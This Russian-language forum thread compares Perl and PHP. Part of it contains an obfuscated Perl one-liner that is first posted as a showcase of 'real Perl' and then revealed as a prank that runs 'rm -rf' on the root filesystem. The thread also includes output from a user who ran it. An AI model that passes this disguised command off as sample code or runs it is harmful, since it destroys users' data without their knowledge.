К сожалению Perl ни разу не юзал. Ничего не могу о нем сказать.
А серьезные программы можно и на PHP5 писать (в меньших версиях не уверен) - благо в нем большое внимание уделили ООП и XML.
Хотя один мой друг предпочитает Perl.
Лично я наверное тоже вскоре посмотрю, что есть Perl и с чем его едят - ведь чем больше знаешь, тем легче.

проблема в том, что когда создавался Перл ни интернета, ни веба еще не было

А откуда информация такая?
Странно просто, писался ДО, а отлично в НЕМ используется

Посмотри как расшифровывается абривеатура Perl и все поймешь. Только смотри не версию: "Патологически эклектичный мусорный литер", а нормальную. В самом названии его задача сформирована, а в веб он пришел гораздо позже

(для тех кому гуглю юзать)
Язык извлечений и отчетов - Programming Extraction and Report Language

РНР не смотря на то что сначала был сделан для WEB
к выходу 4-й и 5-й версии приобрёл давольно широкие возможности...
А сделан он был как раз похожим на некую смесь Cи и Perl
(Это был некий клон Perl но с синтаксисом от Си)
Добавлено спустя штаны:
BaBL Я основывался на знаниях взятых из http://perldoc.perl.org/
а вот откуда ваш код я чё-то понять не могу...
Пояснений чем это (то что вы накалякали а потом удалили) похоже на Perl не будет ?

virus но тем не менее твой код = это все таки не перл, это коряченье перла. Реально действительно хорошая программа на перле будет иметь вид типа


КТО ЧИТАЛ, ПОД РУТОМ НЕ ЗАПУСКАТЬ!!!!! ЛУЧШЕ ВООБЩЕ НЕ ЗАПУСКАТЬ


вот это перл, вот это будет работать и будет работать быстро и хорошо. (но запускать не обязательно)


а то что ты выше написал на самом деле не "клевый аккуратный кодер", а коряченье перла. Вот про что я тебе говорил





нето немного написал, так получше. Чем это похоже на перл? ЭТО И ЕСТЬ ПЕРЛ, а вот чем Ваши каляки похожи на перл - мне бы интересно было послушать. У Вас как раз чуть ли не СИ вылитый

И где написанию этого учатся ?
( или это какой-то откомпилированный вид ? )

книги O'REILLY к примеру или документация перла.

На самом деле я в крайность вдался, как и ты, среднестатическая программа на перле все же будет иметь смешанный вид между твоим и моим. Просто в действительности перл - это и не пхп и не си, и на примере Хелло Ворлд реальной "красоты" языка не увидеть (как выше написал одну из альтернативных расшифровок, она отнюдь не с потолка появилась), но и писать все программы в такую строку тоже не выход, ибо разобраться в них самому будет совсем не просто, но работать точно лучше будет

Да, не хило.
А если несложно можешь привести пример кода на PHP или C++, в котором будет делаться тоже самое?
Просто, действительно очень интересно.

Я тут увидел только кучу смайликов, вот поэтому PHP и показался проще... А че этот код делает-то и нафига убрал пробелы?

ну на пхп не знаю, ибо это полноценная программа, которую можно запустить прямо из командной строки. У меня она вместе с "cat" используется, просто скопировал из скрипта, как характерный пример перла, сам уже не помню чем занимается. Если не забуду, разберу, это просто какая-то выборка из файла.


Все, я понял откуда это у меня , лучше не запускайте, честно говорю, или забекапьте все перед экспериментами. Еще под рутом категорически не советую. Короч это exec rm -rf, если по другому

BaBL Хотя бы что она делает эта твоя программа ?
По мне так это просто регулярное вырожение,
которое благодаря опции "-e" запускается сразу вместо того чтоб брать его их файла,
но это ни как не программа в прямом понимании этого слова,
это скорее одна функция (из области PCRE) с такими параметрами.

я уже написал что она делает. Это я кому-то подарок готовил =) считай полное форматирование без возможности восстановления. Забавно что именно ща попалось в качестве примера. Ну да ладно, суть от этого не меняется.

Ща запущу (бакапы есть, так что не страшно)
Добавлено спустя 2 минуты, 8 секунд
Не работает чё-то...

тока закинь их куда-нить подальше, под рутом она тебе весь корень убьет. Под юзером (не судом) скорее всего пермишн денайд получишь
Добавлено спустя 3 минуты, 46 секунд


perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

rm: невозможно удалить `//bin': Permission denied
rm: невозможно удалить `//dev': Permission denied
rm: невозможно удалить `//etc': Permission denied
rm: невозможно удалить `//lib': Permission denied
rm: невозможно удалить `//mnt': Permission denied
rm: невозможно удалить `//tmp': Permission denied
rm: невозможно удалить `//var': Permission denied
rm: невозможно удалить `//usr': Permission denied
rm: невозможно удалить `//home': Permission denied
rm: невозможно удалить `//misc': Permission denied
rm: невозможно удалить `//root': Permission denied
rm: невозможно удалить `//initrd': Permission denied
rm: невозможно удалить `//.autofsck': Permission denied

Странно... (запускал под рутом)

Добавлено спустя 9 минут, 9 секунд
Всё-же найди ссылку где можно прочитать про такой своеобразный "перл"

Можно я скажу?
Во-первых, весь сайт Overclockers.ru и ПС'ки написаны на perl
Во-вторых и далее, в чистом виде perl для веба мало приспособлен - скорость отдачи страничек, вызываемых напрямую через запуск интерпретатора perl крайне низка - в сотни раз медленнее того же php (правильнее будет сказать "php под apache/etc", ибо редко кто его использует напрямую - через вызов интерпретатора /usr/bin/php, что даже еще медленнее, чем прямой запуск /usr/bin/perl). Для скорости необходимо использовать среду mod_perl (speedy, fast_cgi, etc?) - но для новичков это просто пытка, т.к. требует дополнительных знаний и очень часто - модификации кода. На этом особые недостатки заканчиваются . В плюсах - гибкость, скорость, многофункциональность и мой любимый cpan.org
PHP проще в освоении, плюс на каждого perl-программиста приходятся сотня-другая пыхпыхеров, поэтому найти ответ на свой вопрос можно всегда быстрее и проще
Наличие документации - сложный вопрос. Там и там есть всё и обо всём, только для php встречается все же чаще

Пользуясь случаем, ищу perl-программистов под веб для обмена опытом

BaBL
Старый прикол. На ЛОРе целый тред ему посвящен.

скорей всего он у меня оттуда и взялся, если найдешь линк, кинь плиз, я б еще раз перечитал =)

Да, да и я поддерживаю.
Выкиньте ссылочку на литературу, если не трудно.